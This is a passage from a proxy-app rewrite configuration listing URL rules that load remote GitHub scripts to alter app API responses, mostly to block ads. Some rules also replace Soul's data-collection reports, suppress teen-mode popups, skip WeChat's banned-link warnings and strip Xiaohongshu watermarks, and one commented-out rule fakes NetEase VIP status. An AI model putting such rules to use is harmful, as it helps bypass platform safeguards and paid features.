>>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > 朴朴超市 +http-response ^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=2(%[A-Z0-9]+)+&store_id script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/PupuSplashAds.js, requires-body=true, timeout=60, tag=朴朴超市, enable={pupuicui_enable} + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > 起点读书 +# 起点开屏页广告,每日导读去除,冷启动强制跳转精选页去除,去除发现页弹出的活动弹窗,去除下方(精选 发现 中间的)活动时的tab,去除书架右下角的活动/广告的悬浮icon,搜索页可以搜索用户 +#http-response ^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/(v4\/client\/getsplashscreen|v2\/deeplink\/geturl|v1\/(client\/getconf|adv\/getadvlistbatch\?positions=iOS_tab|dailyrecommend\/getdailyrecommend)) script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/qidian.js, requires-body=true, timeout=60, tag=起点读书 + +# > 去哒 +# 首页开屏广告 感谢【德克萨斯】分享 +http-response ^https?:\/\/iqushangwang\.8quan\.com\/index\.php\/i\/index\/index script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/QuDa.js, requires-body=true, timeout=60, tag=去哒, enable={quda_enable} + +# > 前程无忧 51Job +# 推荐流信息广告 +http-response ^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/recommend\/job-tab-dynamic script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js, requires-body=true, timeout=60, tag=去哒, enable={51job_enable} +# 我的页净化 +http-response ^https?:\/\/cupid\.51job(app)?\.com\/open\/my-page\/ script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js, requires-body=true, timeout=60, tag=去哒, enable={51job_enable} + +# > 企迈 - QMAI(包含: 挪瓦咖啡、林里柠檬茶、霸王茶姬、陈香贵) +http-response ^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/catering([0-9]-apiserver)?\/advertising\/ad\/advertiseInfo script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/qmai.js, requires-body=true, timeout=60, tag=企迈(挪瓦咖啡、林里柠檬茶、霸王茶姬、陈香贵) + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< +# > Reddit +# 过滤推广 关NSFW提示 感谢【xream】分享 +http-response ^https?:\/\/gql(-fed)?\.reddit\.com script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/reddit.js, requires-body=true, timeout=60, tag=reddit, enable={reddit_enable} + +# > 人人视频 +# RRTV_level_info +http-response ^https?:\/\/api\.rr\.tv\/\w{3}\/level\/info script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_去除首頁廣告 +http-response https://api.rr.tv/v3plus/index/channel\?pageNum=1&position=CHANNEL_INDEX script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_去除廣場tab +http-response ^https?:\/\/api\.rr\.tv\/app\/config\/h5NativeBar script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_去除商城廣告 +http-response ^https?:\/\/api\.rr\.tv\/v3plus\/index\/channel\?pageNum=1&position=CHANNEL_MY script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_Ad_List +http-response ^https?:\/\/api\.rr\.tv\/user\/privilege\/list script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_Ad_All +http-response ^https?:\/\/api\.rr\.tv\/ad\/getAll script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_Get_Drama +http-response ^https?:\/\/api\.rr\.tv\/drama\/app\/get_combined_drama_detail script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_Watch_V4 +http-response https://api.rr.tv/watch/v4 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} +# RRTV_User_Info +http-response https://api.rr.tv/user/profile script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60, tag=rrtv_json, enable={rfrfuipk_enable} + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > Soul +# 替换信息收集 +http-request ^https:\/\/data-collector\.soulapp\.cn\/api\/data\/report\/v\d script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/template/req_replace_body.js, requires-body=true, timeout=60, tag=req_replace_body, enable={soul_enable} +# 青少年模式弹窗 +http-response ^https?:\/\/api-account\.soulapp\.cn\/teenager\/config script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/api-a\.soulapp\.cn\/v2\/post\/gift\/list script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/api-a\.soulapp\.cn\/official\/scene\/module script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/api-user\.soulapp\.cn\/furion\/position\/content script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/api-user\.soulapp\.cn\/v\d\/planet\/config script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/api-chat\.soulapp\.cn\/chat\/limitInfo script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/post\.soulapp\.cn\/hot\/soul\/rank script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/post\.soulapp\.cn\/v\d\/post\/homepage\/guide\/card script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/post\.soulapp\.cn\/v\d\/post\/recSquare\/subTabs script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/chat-live\.soulapp\.cn\/chatroom\/chatClassifyRoomList script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/gateway-mobile-gray\.soulapp\.cn\/mobile\/app\/version\/queryIos script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} +http-response ^https?:\/\/47\.110\.187\.87\/winterfell\/v2\/getIpByDomain script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60, tag=soul_ads, enable={soul_enable} + +# > 苏打校园APP +http-response ^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ATOP script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soda.js, requires-body=true, timeout=60, tag=苏打校园APP, enable={sudaxnyr_enable} + +# > 什么值得买 +# hostname = homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com +http-response ^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/user_related_modul\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60, tag=什么值得买去广告, enable={smzdm_enable} +http-response ^https?:\/\/haojia-api\.smzdm\.com\/ranking_list\/articles\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60, tag=什么值得买去广告, enable={smzdm_enable} +http-response ^https?:\/\/s-api\.smzdm\.com\/sou\/filter\/tags\/hot_tags\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60, tag=什么值得买去广告, enable={smzdm_enable} +http-response ^https?:\/\/s-api\.smzdm\.com\/sou\/list_v10\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60, tag=什么值得买去广告, enable={smzdm_enable} +http-response ^https?:\/\/user-api\.smzdm\.com\/vip\/creator_user_center script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60, tag=什么值得买去广告, enable={smzdm_enable} +http-response ^https?:\/\/user-api\.smzdm\.com\/vip$ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/Smzdm.js, requires-body=true, timeout=60, tag=什么值得买去广告, enable={smzdm_enable} +# 感谢【怎么肥事】分享 +http-response ^https?:\/\/app-api\.smzdm\.com\/util\/loading script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60, tag=Smzdm, enable={smzdm_enable} +http-response ^https?:\/\/app-api\.smzdm\.com\/util\/update script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60, tag=Smzdm, enable={smzdm_enable} +http-response ^https?:\/\/user-api\.smzdm\.com\/vip\/bottom_card_list script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60, tag=Smzdm, enable={smzdm_enable} +http-response ^https?:\/\/haojia-api\.smzdm\.com\/home\/list script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60, tag=Smzdm, enable={smzdm_enable} +http-response ^https?:\/\/homepage-api\.smzdm\.com\/v3\/home script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60, tag=Smzdm, enable={smzdm_enable} +http-response ^https?:\/\/article-api\.smzdm\.com\/publish\/get_bubble script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60, tag=Smzdm, enable={smzdm_enable} +http-response ^https?:\/\/qianbao\.smzdm\.com\/v\d\/app\/home script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60, tag=Smzdm, enable={smzdm_enable} + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > TestFlight +# TF账户管理 App更新时提示"APP不可用"问题,解决部分TF兑换错了区域的问题,例如Loon兑换到了国区 +# http-request ^https?:\/\/testflight\.apple\.com\/v\d\/(app|account|invite)s\/ script-path=https://raw.githubusercontent.com/NobyDa/Script/master/TestFlight/TestFlightAccount.js, requires-body=true, timeout=60, tag=TestFlight账户管理 + +# > 淘宝 +http-response ^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60, tag=淘宝, enable={tcbc_enable} +http-response ^https?:\/\/poplayer\.template\.alibaba\.com\/\w+\.json script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60, tag=淘宝, enable={tcbc_enable} + +# > 腾讯新闻 +http-response ^https?:\/\/(news\.ssp\.qq\.com\/app|r\.inews\.qq\.com\/(get(QQNewsUnreadList|TagFeedList)|gw\/page\/event_detail|news_feed\/hot_module_list)) script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/qq-news.js, requires-body=true, timeout=60, tag=腾讯新闻, enable={tgxyxbwf_enable} + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > vgTime +# App去开屏广告(需全新应用). 若要去新闻列表广告需要搭配广告联盟模块 +http-response ^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/vgtime.js, requires-body=true, timeout=60, tag=vgTime, enable={vgtime_enable} + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > 解除微信链接限制 +# hostname = weixin110.qq.com, security.wechat.com +# 微信跳过中间界面,支付宝链接、被封禁链接进行通知弹窗跳转,在微信中用快照显示被封禁的链接(可选),在微信中进行强制重定向(可选),群聊 / 扫码均可使用,可选项可在脚本 2、3 行更改,也可在 BoxJs 中更改。 +http-response ^https\:\/\/(weixin110\.qq|security.wechat)\.com\/cgi-bin\/mmspamsupport-bin\/newredirectconfirmcgi\? script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/asset/UnblockURLinWeChat.js, requires-body=true, timeout=60, tag=UnblockURLinWeChat-解除微信链接限制, enable={lmjpxmvi_enable} + +# > 网易云音乐 +# mian | 热推、有话想说、分享一下、歌曲下的祝福等小提示去除 | 评论区 乐迷、星评等级 关注 等 图标去除 +http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(batch|v\d\/resource\/comment\/floor\/get) script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_mian, enable={whyiyyybyt_enable} +# 伪vip +#http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(music-vip-membership\/client\/vip\/info|vipnewcenter\/app\/resource\/newaccountpage) script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_vip, enable={whyiyyybyt_enable} +# tab +http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/home\/framework\/tab script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_tab, argument=[{MY},{DT},{FX}], enable={whyiyyybyt_enable} +# 推荐 | home | 主页 +http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(homepage\/block\/page|link\/page\/rcmd\/(resource\/show|block\/resource\/multi\/refresh)) script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_home, argument=[{PRGG},{PRRK},{PRDRD},{PRSCVPT},{PRST},{PRRR},{HMPR},{PRMST},{PRCN}], enable={whyiyyybyt_enable} +# 发现 +http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/page\/discovery\/resource\/show script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_fx, enable={whyiyyybyt_enable} +# effect +# http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/song\/play\/more\/list\/v\d script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_effect, enable={whyiyyybyt_enable} +# 我的 MyPageBar ad +http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/position\/show\/resource script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_mybarad, enable={whyiyyybyt_enable} +# 显示未关注你 +http-response ^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/user\/follow\/users\/mixed\/get script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, tag=NetEaseCloudMusic_foll, enable={whyiyyybyt_enable} + +# > 网易有道词典 +# 首页净化,学习Tab界面净化,首页听读训练净化 +http-response ^https?:\/\/dict\.youdao\.com\/(homepage\/promotion|course\/tab\/home|homepage\/tile) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/youdao/dict-youdao-ad.js, requires-body=true, timeout=60, tag=网易有道词典, enable={whyiyzdccidm_enable} + +# > 温尼伯站 +http-response ^https:\/\/vue3-api\.zhixiny\.cn\/v1\/initui\?key=index script-path=https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/wnbz.js, requires-body=true, timeout=60, tag=温尼伯站, enable={wfnibovj_enable} + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 小米商城 +http-response ^https?:\/\/api\.m\.mi\.com\/v1\/app\/start script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60, tag=小米商城, enable={xnmiuhig_enable} + +# > 小兔充充 +http-response ^https?:\/\/mapi\.xiaotucc\.com\/(mall\/main|main_page\/index\/getActivity) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xiaotucc.js, requires-body=true, timeout=60, tag=小兔充充, enable={xntuisis_enable} + +# > 小芒 +http-response https://mgesq.api.mgtv.com/dsl/index.+ script-path=https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/xmApp.js, requires-body=true, timeout=60, tag=小芒APP主页广告, enable={xnmh_enable} + +# > 闲鱼 +# 首页顶部标签 +http-response ^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.home\.whale\.modulet\/ script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60, tag=闲鱼首页顶部标签, enable={xmyu_enable} +# 搜索栏填充词 +http-response ^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.shade\/ script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60, tag=闲鱼搜索栏填充词, enable={xmyu_enable} +# 首页闲鱼币入口、底部发布球 +http-response ^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.user\.strategy\.list\/ script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60, tag=闲鱼首页闲鱼币入口、底部发布球, enable={xmyu_enable} +# 商品信息流广告 +http-response ^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlehome\.home\.nextfresh\/ script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60, tag=闲鱼商品信息流广告, enable={xmyu_enable} +# 定位地区页面的信息流广告 +http-response ^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.local\.home\/ script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60, tag=闲鱼定位地区页面的信息流广告, enable={xmyu_enable} + +# > 香蕉是一种水果 +http-response ^https?:\/\/.+?\.(pipi|fuli|xiang(jiao|xiang))apps\.com\/(ucp\/index|getGlobalData|(\/|)vod\/reqplay\/) script-path=https://raw.githubusercontent.com/NobyDa/Script/master/QuantumultX/File/xjsp.js, requires-body=true, timeout=60, tag=香蕉是一种水果, enable={xljnuiyivsuvgo_enable} + +# > 小红书 +# 搜索页 +http-response ^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(banner|hot)_list script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书搜索页, enable={xnhsuu_enable} +http-response ^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(hint|trending)\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书搜索页, enable={xnhsuu_enable} +http-response ^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/notes\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书搜索页, enable={xnhsuu_enable} +# 开屏广告 +http-response ^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/config\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书开屏广告, enable={xnhsuu_enable} +http-response ^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/splash_config script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书开屏广告, enable={xnhsuu_enable} +# 详情页,小部件 +http-response ^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/widgets script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书详情页, enable={xnhsuu_enable} +# 图片水印,视频水印 +http-response ^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/note\/(imagefeed|live_photo\/save) script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书图片视频水印, enable={xnhsuu_enable} +http-response ^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/(followfeed|homefeed)\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书图片视频水印, enable={xnhsuu_enable} +http-response ^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v2\/note\/feed|v3\/note\/videofeed)\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书图片视频水印, enable={xnhsuu_enable} +http-response ^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v4\/note\/videofeed|v10\/note\/video\/save)\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书图片视频水印, enable={xnhsuu_enable} +# 评论区图片、live图水印,表情包下载 +http-response ^https:\/\/edith\.xiaohongshu\.com\/api\/sns\/(v5\/note\/comment\/list|v3\/note\/comment\/sub_comments)\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书评论区去水印存储, enable={xnhsuu_enable} +http-response ^https:\/\/edith\.xiaohongshu\.com\/api\/sns\/v1\/interaction\/comment\/video\/download\? script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60, tag=小红书评论区去水印下载, enable={xnhsuu_enable} + +# > 喜马拉雅 +# 首页顶部去除直播 +http-response ^https?:\/\/.*\.xima.*\.com\/discovery-category\/customCategories script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60, tag=喜马拉雅首页顶部去除直播, enable={ximalaya_enable} +# 屏蔽首页横幅_Ad +http-response ^https?:\/\/.*\.xima.*\.com\/focus-mobile\/focusPic script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60, tag=喜马拉雅屏蔽首页横幅_Ad, enable={ximalaya_enable} +# 屏蔽首页动态_Ad +http-response ^https?:\/\/.*\.xima.*\.com\/discovery-feed\/v\d\/mix script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60, tag=喜马拉雅屏蔽首页动态_Ad, enable={ximalaya_enable} +# 屏蔽Tab页滚动_Ad +http-response ^https?:\/\/.*\.xima.*\.com\/discovery-category\/v\d/category script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60, tag=喜马拉雅屏蔽Tab页滚动_Ad, enable={ximalaya_enable} +# 去除我的页面Ad_Tag +http-response ^https?:\/\/.*\.xima.*\.com\/mobile-user\/v\d\/homePage script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60, tag=喜马拉雅去除我的页面Ad_Tag, enable={ximalaya_enable} + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > YouTube +# 响应体 +http-response ^https:\/\/youtubei\.googleapis\.com\/youtubei\/v1\/(browse|next|player|search|reel\/reel_watch_sequence|guide|account\/get_setting|get_watch) script-path=https://raw.githubusercontent.com/Maasea/sgmodule/refs/heads/master/Script/Youtube/youtube.response.js, requires-body=true, binary-body-mode=true, timeout=60, tag=YouTube响应体, enable={youtube_enable} + +# > 优酷 +# 播放详情页,首页信息流,顶部tab,我的页面,评论区 +http-response ^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.columbus\.(gateway\.new\.execute|home\.feed|home\.query|uc\.query|ycp\.query) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=优酷, enable={yzku_enable} +# 底部tab +http-response ^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.haidai\.lantern\.appconfig\.get script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=优酷底部tab, enable={yzku_enable} +# 青少年模式弹窗 +http-response ^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.huluwa\.dispatcher\.youthmode\.config2 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=优酷青少年模式弹窗, enable={yzku_enable} +# 搜索列表 +http-response ^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.soku\.yksearch script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=优酷搜索列表, enable={yzku_enable} +# 热剧弹窗 +http-response ^https?:\/\/push\.m\.youku\.com\/collect-api\/get_push_interval_config_wx\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=优酷热剧弹窗, enable={yzku_enable} +# 开屏广告 +http-response ^https?:\/\/un-acs\.youku\.com\/gw\/mtop\.youku\.play\.ups\.appinfo\.get script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=优酷开屏广告, enable={yzku_enable} + +# > 悠洗APP +http-response ^https?:\/\/api\.ulife\.group\/market\/homeIconDetail\/list\/v7 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/yx.js, requires-body=true, timeout=60, tag=悠洗APP, enable={yzxiapp_enable} + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 知乎 +# 首页 - 悬浮图标、顶部横幅、开屏广告、关注页推荐、推荐信息流、热榜信息流、热榜直播、回答底部卡片、精简顶部标签 +http-response ^https:\/\/(?:api|page-info)\.zhihu\.com\/(?:answers|articles)\/v2\/\d+ script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除首页推广, enable={vihu_enable} +http-response ^https:\/\/api\.zhihu\.com\/commercial_api\/app_float_layer script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除首页推广, enable={vihu_enable} +http-response ^https:\/\/api\.zhihu\.com\/feed\/render\/tab\/config\? script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除首页推广, enable={vihu_enable} +http-response ^https:\/\/api\.zhihu\.com\/(?:moments_v3|topstory\/hot-lists\/total|topstory\/recommend) script-path = 